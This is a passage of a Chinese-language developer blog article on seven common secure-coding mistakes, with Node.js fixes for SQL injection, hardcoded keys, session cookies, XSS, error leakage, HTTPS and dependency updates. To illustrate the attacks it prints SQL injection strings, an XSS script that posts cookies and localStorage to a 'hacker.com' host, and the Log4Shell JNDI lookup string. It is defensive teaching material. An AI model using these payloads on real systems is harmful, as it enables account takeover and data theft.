LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

为什么优秀的工程师也会写出不安全的代码?

admin
2025年12月23日 9:11 本文热度 1114

每周都有大厂因为数据泄露上热搜,但你以为黑客用的是什么高深的0day漏洞?

错了。

90%的安全事故都源于开发者犯的那几个"老掉牙"的错误:

  • 一个忘记校验的输入框
  • 一串写死在代码里的密钥
  • 一个没加密的HTTP请求

问题不是你不懂安全,而是你以为"我这个小项目不会有人攻击"。

就像你以为家里没什么值钱的就不锁门,直到有一天发现电脑被人装了挖矿程序,CPU跑满96%,电费飙到天际。

安全不是一套要背的理论,而是写代码时多问自己三个问题的习惯

  1. 这个输入能被用户控制吗?
  2. 这段数据会暴露在哪里?
  3. 如果我是黑客,我会怎么攻击这段代码?

今天就来盘点开发者最容易踩的7个坑,以及一劳永逸的解决方案。

第一宗罪:相信用户输入 = 开门揖盗

为什么这是最致命的错误?

想象你开了个快递站,别人说"我来取XX的包裹",你连身份证都不看就给了。

信任用户输入就是这个逻辑。

大部分开发者写代码时,脑子里想的都是"正常用户"会怎么用这个功能。但黑客不是正常用户,他们输入的是:

// 用户输入:admin' OR '1'='1
// 你以为的查询:
SELECT * FROM users WHERE username = 'admin' AND password = 'xxx'

// 实际执行的查询:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'xxx'
// 结果:绕过密码验证,直接登录

攻击流程图

┌─────────────────┐
│  用户输入表单    │
│  (email/password)│
└────────┬─────────┘
         │
         ▼
┌─────────────────────────────┐
│  后端直接拼接SQL字符串        │
│  `SELECT * FROM users        │
│   WHERE email='${email}'`    │
└────────┬────────────────────┘
         │
         ▼
┌─────────────────────────────┐
│  黑客输入: admin'--          │
│  生成的SQL:                  │
│  SELECT * FROM users WHERE   │
│  email='
admin'--' AND ...    │
│  (-- 注释掉后面的密码验证)    │
└────────┬────────────────────┘
         │
         ▼
┌─────────────────┐
│  直接登录成功    │
│  拿到管理员权限  │
└─────────────────┘

开发者常见场景

在国内做项目,经常遇到这样的需求:"老板要个后台能导出Excel,传个ID就行"。

然后你写了这样的代码:

// ❌ 危险代码
app.get('/export', (req, res) => {
  const orderId = req.query.id; // 直接从URL获取
  const query = `SELECT * FROM orders WHERE id = ${orderId}`;
  db.query(query).then(data => {
    // 生成Excel...
  });
});

看起来没问题?如果有人访问:

/export?id=1 UNION SELECT username,password FROM users

你的整个用户表就被导出了。

正确做法(理论+实战)

1. 永远使用参数化查询

把用户输入当成"数据"而不是"代码":

// ✅ 正确做法
const query = 'SELECT * FROM orders WHERE id = ?';
db.query(query, [orderId]).then(data => {
  // 数据库会自动转义特殊字符
});

原理解析: 参数化查询的本质是告诉数据库:"这是一个占位符,后面传的数据只能是数据值,不能被当成SQL代码执行"。

就像你去银行取钱,柜员会问:"请问您的账号是?" 而不是 "请问您要执行什么银行操作?"

2. 使用Schema验证库

国内项目常用的组合:

import Joi from'joi';

const loginSchema = Joi.object({
email: Joi.string().email().required(),
password: Joi.string().min(8).required(),
// 只接受这两个字段,其他的直接拒绝
}).options({ stripUnknowntrue });

app.post('/login', (req, res) => {
const { error, value } = loginSchema.validate(req.body);

if (error) {
    return res.status(400).json({ 
      message'输入格式错误',
      details: error.details // 开发环境可返回,生产环境别返回
    });
  }

// 这里的 value 是经过验证的安全数据
  handleLogin(value);
});

3. 富文本内容必须净化

如果你的应用允许用户发布文章(像掘金、思否这样的),必须过滤HTML:

import DOMPurify from 'isomorphic-dompurify';

const userContent = req.body.content;
const cleanContent = DOMPurify.sanitize(userContent, {
  ALLOWED_TAGS: ['p''br''strong''em''code''pre'],
  ALLOWED_ATTR: [] // 不允许任何属性,包括onclick之类的
});

实战检查清单

  • [ ] 所有数据库查询用参数化/ORM
  • [ ] 表单输入用Schema验证(Joi/Zod/Yup)
  • [ ] 富文本用DOMPurify净化
  • [ ] API拒绝不在白名单的字段
  • [ ] 文件上传检查MIME类型,不只看扩展名

第二宗罪:把密钥写在代码里 = 把银行卡密码贴在卡上

为什么开发者会犯这个错误?

因为方便。

你在本地开发的时候,为了快速跑通流程,直接把数据库密码、微信支付密钥、阿里云AccessKey写死在代码里:

// ❌ 典型的"待会儿改"代码
const dbConfig = {
  host'localhost',
  user'root',
  password'MyPassword123!'// 想着"反正是本地,没事"
  database'production_db'
};

const wechatPaySecret = 'wxpay_live_xxxxxxxxxxxxxxxx';

然后一忙起来,直接git push了。

泄露的后果有多严重?

我见过一个真实案例:

某创业公司把阿里云AccessKey写在前端代码里(是的,前端),结果:

  1. 有人用这个Key开了30台8核服务器挖比特币
  2. 3天后收到阿里云账单:¥87,000
  3. 公司账上只有4万,直接资金链断裂

Github上每天都有扫描脚本在找这种泄露的密钥,你提交的那一秒,可能就被盯上了。

密钥泄露检测流程

┌──────────────────────┐
│  开发者提交代码        │
│  git push origin main │
└──────┬───────────────┘
       │
       ▼
┌──────────────────────────────────┐
│  Github仓库(公开/私有都可能泄露)│
└──────┬───────────────────────────┘
       │
       ▼
┌─────────────────────────────────────┐
│  自动扫描脚本(黑客/白帽运行的工具)  │
│  truffleHog, GitRob, GitLeaks...    │
└──────┬──────────────────────────────┘
       │
       ▼
┌────────────────────────────────┐
│  发现密钥/token/密码            │
│  - AWS密钥格式: AKIA...        │
│  - 私钥标识: BEGIN PRIVATE KEY │
│  - 数据库连接串: mysql://...   │
└──────┬─────────────────────────┘
       │
       ▼
┌─────────────────────────┐
│  10分钟内开始尝试登录    │
│  或购买云服务器挖矿      │
└─────────────────────────┘

正确做法:三层防护

第1层:环境变量

把所有敏感信息放到.env文件:

# .env
DB_PASSWORD=SuperSecretPass123!
WECHAT_PAY_SECRET=wxpay_live_xxxxx
ALIYUN_ACCESS_KEY=LTAI5t...
ALIYUN_SECRET_KEY=xxxxx

代码里这样读取:

// config.js
import dotenv from 'dotenv';
dotenv.config();

export const dbConfig = {
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD, // 从环境变量读取
};

记住这个命令

echo ".env" >> .gitignore

第2层:Secret Manager(生产环境)

国内常用的方案:

服务商
产品名
适用场景
阿里云
KMS密钥管理服务
中大型项目
腾讯云
SSM凭据管理
中大型项目
字节
Vault
企业内部
Doppler
多云环境
创业公司

使用示例(以阿里云KMS为例):

import KMS from'@alicloud/kms-sdk';

const client = new KMS({
endpoint'kms.cn-hangzhou.aliyuncs.com',
accessKeyId: process.env.KMS_ACCESS_KEY,
accessKeySecret: process.env.KMS_SECRET_KEY
});

asyncfunction getDBPassword({
const result = await client.decrypt({
    CiphertextBlob'encrypted_password_from_kms'
  });
return result.Plaintext; // 解密后的密码
}

第3层:定期轮换

设置提醒,每3-6个月更换一次密钥,尤其是:

  • 团队成员离职时
  • 怀疑密钥可能泄露时
  • 重大版本发布前

已经泄露了怎么办?

如果你发现代码里的密钥已经提交到Github:

  1. 立即撤销密钥(阿里云/腾讯云/AWS控制台)
  2. 删除commit不够,Git历史还保留着:
    git filter-branch --force --index-filter \
    "git rm --cached --ignore-unmatch config.js" \
    --prune-empty --tag-name-filter cat -- --all
  3. 强制推送git push origin --force --all
  4. Github提供的BFG Repo-Cleaner工具更简单:
    bfg --delete-files config.js
    git reflog expire --expire=now --all && git gc --prune=now --aggressive

但最好的办法还是:一开始就不要提交

第三宗罪:裸奔的Session = 把钥匙挂在门把手上

什么是Session安全?

你登录了一个网站,服务器给你发了个"通行证"(Session ID),存在Cookie里。

之后每次请求都带着这个通行证,服务器就知道"哦,是这个已登录用户"。

问题来了:如果这个通行证被别人偷走了呢?

常见的Session安全问题

1. Cookie没设安全标记

// ❌ 危险的做法
res.cookie('sessionId', sessionId); // 裸奔

这个Cookie可以被:

  • JavaScript读取(XSS攻击)
  • HTTP传输时被截获(中间人攻击)
  • 跨站请求携带(CSRF攻击)

2. Token永不过期

见过很多国内项目为了"用户体验",JWT的过期时间设成30天、甚至永久:

// ❌ 这是给黑客送温暖
const token = jwt.sign({ userId: user.id }, SECRET, {
  expiresIn'999999d' // 接近3000年
});

结果就是:用户手机丢了,APP还能一直登录。

3. 明文存储密码

是的,2024年了还有公司这么干。

我在做安全审计时,见过某创业公司的数据库:

mysql> SELECT * FROM users LIMIT 1;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | admin    | admin123   | -- 明文!!
+----+----------+------------+

问他们为什么不加密,回答是:"用户忘记密码了怎么办?"

兄弟,忘记密码可以重置,但泄露了你就完蛋了

正确的身份认证流程

┌─────────────┐
│ 用户输入密码 │
└──────┬──────┘
       │
       ▼
┌───────────────────────────┐
│ 后端用bcrypt加密后比对     │
│ (不是解密,是重新算hash)   │
└──────┬────────────────────┘
       │
       ▼
┌────────────────────────────────┐
│ 验证通过,生成Session/JWT       │
│ - Session ID: 随机字符串        │
│ - JWT: 包含userId + 过期时间   │
└──────┬─────────────────────────┘
       │
       ▼
┌─────────────────────────────────────┐
│ 设置Cookie标记(关键!)             │
│ - HttpOnly: JS无法读取              │
│ - Secure: 只在HTTPS传输             │
│ - SameSite: 防止跨站请求            │
│ - MaxAge: 设置过期时间              │
└──────┬──────────────────────────────┘
       │
       ▼
┌────────────────┐
│ 返回给客户端    │
└────────────────┘

实战代码:标准的身份认证

1. 密码加密

import bcrypt from'bcrypt';

// 注册时加密密码
asyncfunction register(username, password{
const saltRounds = 12// 越大越安全,但也越慢
const hashedPassword = await bcrypt.hash(password, saltRounds);

await db.users.create({
    username,
    password: hashedPassword // 存储加密后的
  });
}

// 登录时验证
asyncfunction login(username, password{
const user = await db.users.findOne({ username });
if (!user) returnnull;

// 用bcrypt.compare验证,不是自己解密
const isValid = await bcrypt.compare(password, user.password);
return isValid ? user : null;
}

为什么不用MD5?

MD5太快了,黑客可以用GPU每秒算几十亿次,暴力破解你的密码。

bcrypt慢是设计出来的,让暴力破解变得不现实。

2. 安全的Cookie设置

app.post('/login'async (req, res) => {
const user = await authenticate(req.body);

if (user) {
    const sessionId = generateSecureSessionId();
    
    // 存储到Redis(比存内存更靠谱)
    await redis.set(`session:${sessionId}`JSON.stringify({
      userId: user.id,
      loginTimeDate.now()
    }), 'EX'3600); // 1小时过期
    
    // 设置Cookie(重点在这里)
    res.cookie('sessionId', sessionId, {
      httpOnlytrue,    // JS无法读取
      securetrue,      // 只在HTTPS传输
      sameSite'strict'// 最严格的跨站保护
      maxAge3600000    // 1小时后过期
    });
    
    res.json({ message'登录成功' });
  }
});

3. JWT的正确用法

如果用JWT(国内很多前后端分离项目都用):

import jwt from'jsonwebtoken';

// 生成Access Token(短期)和Refresh Token(长期)
function generateTokens(user{
const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn'15m' } // 只给15分钟
  );

const refreshToken = jwt.sign(
    { userId: user.id, type'refresh' },
    process.env.REFRESH_SECRET,
    { expiresIn'7d' } // 7天
  );

return { accessToken, refreshToken };
}

// 刷新Token的接口
app.post('/refresh', (req, res) => {
const { refreshToken } = req.body;

try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
    
    if (decoded.type !== 'refresh') {
      return res.status(401).json({ error'无效的token类型' });
    }
    
    // 生成新的accessToken
    const newAccessToken = jwt.sign(
      { userId: decoded.userId },
      process.env.JWT_SECRET,
      { expiresIn'15m' }
    );
    
    res.json({ accessToken: newAccessToken });
  } catch (err) {
    res.status(401).json({ error'Token已过期' });
  }
});

为什么搞这么复杂?

因为:

  • Access Token短:就算被偷走,15分钟后就失效
  • Refresh Token长:用户不用频繁登录
  • 两个Secret分开:就算Access Token泄露,也拿不到Refresh Token

常见场景的安全建议

场景
推荐方案
过期时间
普通Web应用
Session + HttpOnly Cookie
30分钟
前后端分离SPA
JWT (Access + Refresh)
15分钟 + 7天
移动APP
Refresh Token + 生物识别
30天
敏感操作(支付/改密码)
要求重新输入密码
立即验证

第四宗罪:忘记转义输出 = 给黑客开了个广播站

XSS攻击:最古老但依然有效的招数

Cross-Site Scripting(跨站脚本攻击),简称XSS,听起来高端,其实原理很简单:

把用户输入的恶意代码当成HTML执行了。

一个真实的例子

某电商网站的搜索功能:

// 后端代码
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`
    <html>
      <h1>搜索结果:"${keyword}"</h1>
      <p>未找到相关商品</p>
    </html>
  `
);
});

看起来没问题?如果有人访问:

/search?q=<script>alert(document.cookie)</script>

页面就会变成:

<h1>搜索结果:"<script>alert(document.cookie)</script>"</h1>

这个script会真的执行,弹出用户的Cookie!

更狠的攻击:

/search?q=<script>
  fetch('https://hacker.com/steal', {
    method'POST',
    bodyJSON.stringify({
      cookiedocument.cookie,
      localStorageJSON.stringify(localStorage),
      userAgent: navigator.userAgent
    })
  });
</script>

用户的所有信息都被发送到黑客服务器了。

XSS攻击流程

┌──────────────────────┐
│ 黑客构造恶意URL       │
│ yoursite.com?q=<script>│
│ fetch('hacker.com')   │
└──────┬───────────────┘
       │
       ▼
┌──────────────────────────────┐
│ 诱导受害者点击               │
│ - 伪装成活动链接             │
│ - 在社交媒体/论坛分享         │
│ - 邮件钓鱼                   │
└──────┬───────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│ 受害者访问,浏览器执行恶意脚本   │
│ <script>发送到黑客服务器</script>│
└──────┬──────────────────────────┘
       │
       ▼
┌────────────────────────────┐
│ 黑客收到:                 │
│ - Cookie (可登录受害者账号) │
│ - Token (获取API权限)      │
│ - 表单数据                 │
└────────────────────────────┘

现代框架的保护机制

好消息:React、Vue、Angular都默认转义输出。

在React里写:

function SearchResult({ keyword }{
  return <h1>搜索结果:{keyword}</h1>;
}

即使keyword<script>alert(1)</script>,React也会渲染成:

<h1>搜索结果:&lt;script&gt;alert(1)&lt;/script&gt;</h1>

< 和 > 被转义成了&lt;&gt;,不会被当成HTML标签执行。

但是! 如果你用了dangerouslySetInnerHTML(React)或v-html(Vue),保护就失效了:

// ❌ 危险!
function RichContent({ html }{
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

什么时候必须用innerHTML?

只有在渲染富文本编辑器内容时(比如文章、评论)。

这时候必须用DOMPurify净化:

import DOMPurify from'isomorphic-dompurify';

function ArticleContent({ htmlContent }{
// 净化HTML,只保留安全的标签和属性
const cleanHTML = DOMPurify.sanitize(htmlContent, {
    ALLOWED_TAGS: [
      'p''br''strong''em''u''s',
      'h1''h2''h3''h4''h5''h6',
      'blockquote''code''pre',
      'ul''ol''li',
      'a''img'
    ],
    ALLOWED_ATTR: {
      'a': ['href''title''target'],
      'img': ['src''alt''title']
    },
    ALLOW_DATA_ATTRfalse// 不允许data-*属性
    ALLOWED_URI_REGEXP/^(?:(?:(?:f|ht)tps?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i,
  });

return<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}

CSP:最后一道防线

Content Security Policy(内容安全策略),即使有XSS漏洞,也能降低危害。

在HTTP响应头里加上:

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'"// 只允许同源资源
      "script-src 'self' https://cdn.example.com"// 脚本只能来自这些地方
      "style-src 'self' 'unsafe-inline'"// 样式可以内联
      "img-src 'self' data: https:"// 图片可以是data URL或https
      "connect-src 'self' https://api.example.com"// API请求只能到这里
      "font-src 'self' https://fonts.googleapis.com",
      "object-src 'none'"// 禁止<object>/<embed>
      "base-uri 'self'"// 禁止<base>标签劫持
      "form-action 'self'"// 表单提交只能到本站
      "frame-ancestors 'none'"// 禁止被iframe嵌入
      "upgrade-insecure-requests"// 自动升级HTTP到HTTPS
    ].join('; ')
  );
  next();
});

这样即使有XSS,恶意脚本也无法:

  • 加载外部脚本
  • 发送数据到黑客服务器
  • 内联执行代码

检查清单

  • [ ] 所有用户输入都经过验证
  • [ ] 默认不用innerHTML/dangerouslySetInnerHTML
  • [ ] 必须用时,先用DOMPurify净化
  • [ ] 设置CSP响应头
  • [ ] 定期扫描XSS漏洞(用OWASP ZAP等工具)

第五宗罪:错误信息太详细 = 给黑客画了张藏宝图

你的报错信息在泄露什么?

开发环境下,看到详细的报错是好事。但如果在生产环境也这样:

// ❌ 生产环境的危险做法
app.use((err, req, res, next) => {
  res.status(500).json({
    error: err.message,
    stack: err.stack, // 把整个调用栈都返回了
    query: req.query, // 把查询参数也返回了
  });
});

用户看到的错误:

{
  "error""SequelizeDatabaseError: Unknown column 'admin_password' in 'field list'",
  "stack""Error\n    at Query.formatError (/app/node_modules/mysql2/lib/commands/query.js:218:15)\n    at Connection.handlePacket (/app/node_modules/mysql2/lib/connection.js:425:18)",
  "query": {
    "username""admin' OR '1'='1",
    "action""delete_all_users"
  }
}

黑客看到这个信息就知道了:

  1. 你用的是MySQL数据库
  2. 表结构有个admin_password字段
  3. 用的是Sequelize ORM
  4. SQL注入可能有效
  5. 有个delete_all_users的危险操作

常见的信息泄露场景

1. 数据库错误

Error: ER_NO_SUCH_TABLE: Table 'myapp.users' doesn't exist

泄露了数据库名(myapp)和表名(users)。

2. 文件路径错误

ENOENT: no such file or directory, open '/var/www/app/config/secrets.json'

泄露了服务器文件结构。

3. 依赖版本错误

TypeError: Cannot read property 'version' of undefined
  at /app/node_modules/express/4.17.1/lib/router/index.js:284

泄露了Express版本号,黑客可以针对已知漏洞攻击。

错误处理流程图

┌────────────────┐
│  代码抛出异常   │
└────────┬───────┘
         │
         ▼
┌─────────────────────────────┐
│  全局错误处理中间件          │
│  分析错误类型和严重程度      │
└────────┬────────────────────┘
         │
    ┌────┴────┐
    │         │
    ▼         ▼
┌─────────┐ ┌──────────────────┐
│ 开发环境 │ │ 生产环境         │
└────┬────┘ └────┬─────────────┘
     │           │
     ▼           ▼
┌──────────┐ ┌──────────────────────┐
│ 返回详细  │ │ 返回通用错误信息      │
│ 错误信息  │ │ "服务器内部错误"      │
│ 包括堆栈  │ │                      │
└──────────┘ └────┬─────────────────┘
                   │
                   ▼
            ┌─────────────────────┐
            │ 记录到日志系统       │
            │ - 完整错误信息       │
            │ - 请求上下文         │
            │ - 用户ID            │
            │ - 时间戳            │
            └─────────────────────┘

正确的错误处理

1. 区分环境

const isDev = process.env.NODE_ENV === 'development';

app.use((err, req, res, next) => {
// 记录到日志系统(生产环境必须做)
  logger.error('服务器错误', {
    error: err.message,
    stack: err.stack,
    url: req.url,
    method: req.method,
    ip: req.ip,
    userId: req.user?.id, // 如果有登录信息
    timestampnewDate().toISOString()
  });

// 返回给客户端
if (isDev) {
    // 开发环境:详细信息
    res.status(500).json({
      error: err.message,
      stack: err.stack,
      details: err
    });
  } else {
    // 生产环境:通用信息
    res.status(500).json({
      error'服务器内部错误,请稍后重试',
      requestId: req.id // 给个ID方便用户反馈时查问题
    });
  }
});

2. 分类错误

不同类型的错误,返回不同的提示:

class AppError extends Error {
constructor(message, statusCode, isOperational = true) {
    super(message);
    this.statusCode = statusCode;
    this.isOperational = isOperational; // 是否是预期的错误
    Error.captureStackTrace(thisthis.constructor);
  }
}

// 使用示例
app.post('/transfer'async (req, res, next) => {
try {
    const { amount, to } = req.body;
    
    if (amount > user.balance) {
      // 这是预期的业务错误,可以给详细信息
      thrownew AppError('余额不足'400);
    }
    
    await transferMoney(user.id, to, amount);
    res.json({ successtrue });
    
  } catch (err) {
    next(err); // 传给错误处理中间件
  }
});

// 错误处理中间件
app.use((err, req, res, next) => {
if (err.isOperational) {
    // 业务错误:可以告诉用户具体原因
    res.status(err.statusCode).json({
      error: err.message
    });
  } else {
    // 系统错误:隐藏细节
    logger.error('系统错误', err);
    res.status(500).json({
      error'服务器错误,请联系客服',
      requestId: req.id
    });
  }
});

3. 敏感字段脱敏

日志里也要注意不要记录敏感信息:

const sensitiveFields = ['password''creditCard''idCard''token'];

function redactSensitive(obj{
const cloned = JSON.parse(JSON.stringify(obj));

function redact(o{
    for (const key in o) {
      if (sensitiveFields.includes(key)) {
        o[key] = '***REDACTED***';
      } elseif (typeof o[key] === 'object') {
        redact(o[key]);
      }
    }
  }

  redact(cloned);
return cloned;
}

// 记录日志时脱敏
logger.info('用户登录', redactSensitive({
username'alice',
password'secret123'// 会被替换成 ***REDACTED***
ip'192.168.1.1'
}));

日志监控建议

国内常用的日志服务

服务
特点
适合场景
阿里云SLS
功能强大,查询方便
中大型项目
腾讯云CLS
性价比高
创业公司
Sentry
专注错误追踪
所有场景
ELK Stack
自建,完全可控
有运维团队的公司

关键指标监控

// 用Sentry监控错误率
import * as Sentry from'@sentry/node';

Sentry.init({
dsn: process.env.SENTRY_DSN,
environment: process.env.NODE_ENV,

// 设置错误采样率(生产环境100%太贵,可以设50%)
sampleRate: process.env.NODE_ENV === 'production' ? 0.5 : 1.0,

// 过滤敏感信息
  beforeSend(event) {
    if (event.request) {
      delete event.request.cookies;
      delete event.request.headers?.Authorization;
    }
    return event;
  }
});

// 设置告警规则(错误率超过阈值就通知)
// - 5分钟内错误超过100次 → 钉钉/企微通知
// - 数据库连接失败 → 立即通知
// - 支付接口报错 → 立即通知 + 短信

第六宗罪:不用HTTPS = 在大街上裸奔

HTTP和HTTPS的区别

用个通俗的比喻:

HTTP:你和朋友在餐厅聊天,隔壁桌的人都能听到
HTTPS:你们用暗号聊天,只有你俩能听懂

不用HTTPS的后果

中间人攻击(MITM)

用户 ---[明文数据]---> 黑客 ---[明文数据]---> 服务器
      ^                  |
      |                  ▼
      └------[篡改返回]---┘

黑客可以:

  1. 看到所有数据:账号、密码、聊天内容
  2. 篡改数据:把转账金额从100改成10000
  3. 注入恶意代码:在你的网页里插入挖矿脚本

常见的"我不需要HTTPS"理由

❌ "我这只是个内部系统,没人会攻击"
→ 内网也可能有人监听,员工的电脑可能被植入木马

❌ "HTTPS太贵了,SSL证书要钱"
→ Let's Encrypt提供免费证书,Cloudflare也免费提供

❌ "HTTPS会影响性能"
→ 现在的硬件和协议(TLS 1.3)影响微乎其微,通常<1%

❌ "测试环境没必要用HTTPS"
→ 测试环境的数据泄露一样有风险,有些API(如WebRTC)必须HTTPS才能用

HTTPS部署的三种方案

方案1:Let's Encrypt(免费)

最简单的方法:

# 安装Certbot
sudo apt install certbot python3-certbot-nginx

# 自动申请并配置
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com

# 自动续期(证书90天过期,设置每月更新)
sudo certbot renew --dry-run # 测试续期
(crontab -l 2>/dev/null; echo "0 3 1 * * certbot renew --quiet") | crontab -

方案2:阿里云/腾讯云免费证书

1. 登录阿里云/腾讯云控制台
2. 搜索"SSL证书"
3. 申请免费DV证书(单域名,1年有效)
4. 下载证书文件(.pem和.key)
5. 上传到服务器配置

Nginx配置:

server {
    listen 443 ssl http2;
    server_name yourdomain.com;

    ssl_certificate     /path/to/cert.pem;
    ssl_certificate_key /path/to/cert.key;

    # 安全配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
    ssl_prefer_server_ciphers on;

    # HSTS(强制HTTPS,防止降级攻击)
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP自动跳转HTTPS
server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$server_name$request_uri;
}

方案3:Cloudflare(最简单)

1. 域名DNS改成Cloudflare的
2. 在Cloudflare控制台开启"SSL/TLS" → "Full"模式
3. 完成,Cloudflare自动提供HTTPS

好处:

  • 免费
  • 自动续期
  • 送CDN加速
  • 送DDoS防护

安全响应头配置

光有HTTPS还不够,还要配置这些响应头:

app.use((req, res, next) => {
// HSTS:强制浏览器只用HTTPS访问(2年有效期)
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=63072000; includeSubDomains; preload'
  );

// 防止MIME类型嗅探(防止XSS)
  res.setHeader('X-Content-Type-Options''nosniff');

// 防止点击劫持(禁止被iframe嵌入)
  res.setHeader('X-Frame-Options''SAMEORIGIN');

// 控制Referrer信息(不泄露完整URL)
  res.setHeader('Referrer-Policy''no-referrer-when-downgrade');

// 禁用浏览器的XSS过滤(现代浏览器已经有CSP了)
  res.setHeader('X-XSS-Protection''0');

  next();
});

常见问题排查

1. 证书过期

症状:浏览器显示"您的连接不是私密连接"

# 检查证书过期时间
echo | openssl s_client -servername yourdomain.com -connect yourdomain.com:443 2>/dev/null | openssl x509 -noout -dates

2. 混合内容(Mixed Content)

症状:HTTPS页面加载了HTTP资源,浏览器报错

// ❌ 错误:在HTTPS页面引用HTTP资源
<script src="http://cdn.example.com/jquery.js"></script>

/
/ ✅ 正确:全部用HTTPS
<script src="https:/
/cdn.example.com/jquery.js"></script>

// ✅ 或者用协议相对路径(自动匹配)
<script src="
//cdn.example.com/jquery.js"></script>

3. 证书不受信任

症状:自签名证书,浏览器不认

解决:

  • 生产环境:用Let's Encrypt或云服务商的证书
  • 开发环境:用mkcert生成本地受信任证书
# 安装mkcert
brew install mkcert # macOS
# 或
sudo apt install mkcert # Linux

# 生成本地CA
mkcert -install

# 生成localhost证书
mkcert localhost 127.0.0.1 ::1

# 现在浏览器就信任这个证书了

第七宗罪:依赖万年不更新 = 开着漏洞车上高速

为什么不更新依赖?

开发者的心理活动:

  1. "能用就行,别没事找事"
  2. "升级会不会把项目搞崩?"
  3. "哪有时间搞这个,产品催得很急"
  4. "反正没出事,出事再说"

然后有一天,你用的那个库爆出严重漏洞,上了CVE(通用漏洞披露)。

黑客立刻写出自动化攻击脚本,扫描全网还在用旧版本的网站。

你的网站,就在这份"待宰羔羊"名单里。

真实案例:Log4j漏洞

2021年12月,Java日志库Log4j爆出史诗级漏洞(CVE-2021-44228)。

影响范围:

  • 阿里云、腾讯云、字节、百度、网易...几乎所有国内大厂中招
  • 全球数百万台服务器受影响
  • 攻击者可以远程执行任意代码

攻击简单到什么程度?

# 在任意输入框输入这个字符串
${jndi:ldap://attacker.com/exploit}

# 服务器就会去访问黑客的服务器,并执行黑客的代码

更新到安全版本只需要:

<!-- 把这个版本号改一下 -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version> <!-- 修复版本 -->
</dependency>

但很多公司根本没意识到自己在用Log4j,因为它是某个依赖的依赖的依赖...

依赖漏洞检测流程

┌──────────────────┐
│ 项目依赖树        │
│ (package.json)   │
└────────┬─────────┘
         │
         ▼
┌─────────────────────────────┐
│ 依赖扫描工具                 │
│ - npm audit                 │
│ - Snyk                      │
│ - GitHub Dependabot         │
└────────┬────────────────────┘
         │
    ┌────┴─────┐
    │          │
    ▼          ▼
┌─────────┐ ┌──────────────┐
│ 直接依赖 │ │ 间接依赖     │
│ express │ │ minimist     │
│ react   │ │ (被express引用)│
└────┬────┘ └──────┬───────┘
     │             │
     ▼             ▼
┌─────────────────────────────┐
│ CVE数据库匹配                │
│ - 版本是否有已知漏洞         │
│ - 漏洞严重程度(Critical/High)│
└────────┬────────────────────┘
         │
         ▼
┌────────────────────────────┐
│ 生成修复建议                │
│ - 可自动修复的直接升级       │
│ - 无修复版本的给出警告       │
│ - 提供临时缓解措施           │
└────────────────────────────┘

实战工具使用

1. npm audit(内置)

# 检查漏洞
npm audit

# 输出示例
found 3 vulnerabilities (1 moderate, 2 high)

# 自动修复(不会升级大版本)
npm audit fix

# 强制修复(可能破坏兼容性)
npm audit fix --force

# 查看详细信息
npm audit --json

2. Snyk(更强大)

# 安装
npm install -g snyk

# 登录
snyk auth

# 扫描项目
snyk test

# 自动打开PR修复漏洞(推荐!)
snyk monitor

Snyk会在Github上自动创建PR,帮你升级有漏洞的依赖:

PR #123: [Snyk] Security upgrade lodash from 4.17.15 to 4.17.21

This PR fixes a Prototype Pollution vulnerability in lodash.
Severity: High
CVE-2020-8203

3. GitHub Dependabot(免费)

在Github仓库的 Settings → Security → Dependabot 里开启:

  • ✅ Dependabot alerts(漏洞告警)
  • ✅ Dependabot security updates(自动修复PR)
  • ✅ Dependabot version updates(自动升级小版本)

配置文件(.github/dependabot.yml):

version: 2
updates:
-package-ecosystem:"npm"
    directory:"/"
    schedule:
      interval:"weekly"# 每周检查一次
    open-pull-requests-limit:10
    reviewers:
      -"your-username"# PR自动分配给你
    labels:
      -"dependencies"

依赖更新策略

不同类型项目的更新频率建议

项目类型
安全更新
小版本更新
大版本更新
生产环境API
立即
每月
每季度
企业内部系统
24小时内
每2周
每半年
个人项目
一周内
每月
随时
开源库
立即
每次发布前
谨慎评估

版本号的含义(Semantic Versioning)

1.2.3
│ │ │
│ │ └─ Patch(补丁版本):bug修复,安全更新
│ └─── Minor(次要版本):新功能,向后兼容
└───── Major(主要版本):破坏性更新,不兼容

更新策略:
- Patch: 自动更新,风险极低
- Minor: 测试后更新,风险低
- Major: 谨慎更新,需要改代码

package.json的版本声明

{
  "dependencies": {
    "express""4.18.2",        // 精确版本(不推荐)
    "react""^18.2.0",         // ✅ 允许次要更新和补丁(推荐)
    "lodash""~4.17.21",       // 只允许补丁更新
    "axios""*"                // ❌ 任意版本(危险!)
  }
}

无法更新的依赖怎么办?

有时候依赖太老了,没有修复版本,或者升级会破坏兼容性。

临时解决方案

1. 用patch-package打补丁

# 安装
npm install patch-package --save-dev

# 手动修改node_modules里的文件
vim node_modules/vulnerable-package/index.js

# 生成补丁
npx patch-package vulnerable-package

# 以后每次npm install都会自动应用这个补丁

2. 用npm的overrides(npm 8.3+)

{
  "overrides": {
    "vulnerable-dep""safe-version"
  }
}

3. 寻找替代方案

// 比如moment.js不再维护,有漏洞
import moment from 'moment'// ❌ 老旧

// 换成day.js,API兼容,体积更小
import dayjs from 'dayjs'// ✅ 现代

CI/CD集成

在你的构建流程里加上依赖检查:

# .github/workflows/security.yml
name:SecurityScan
on:[push,pull_request]
jobs:
audit:
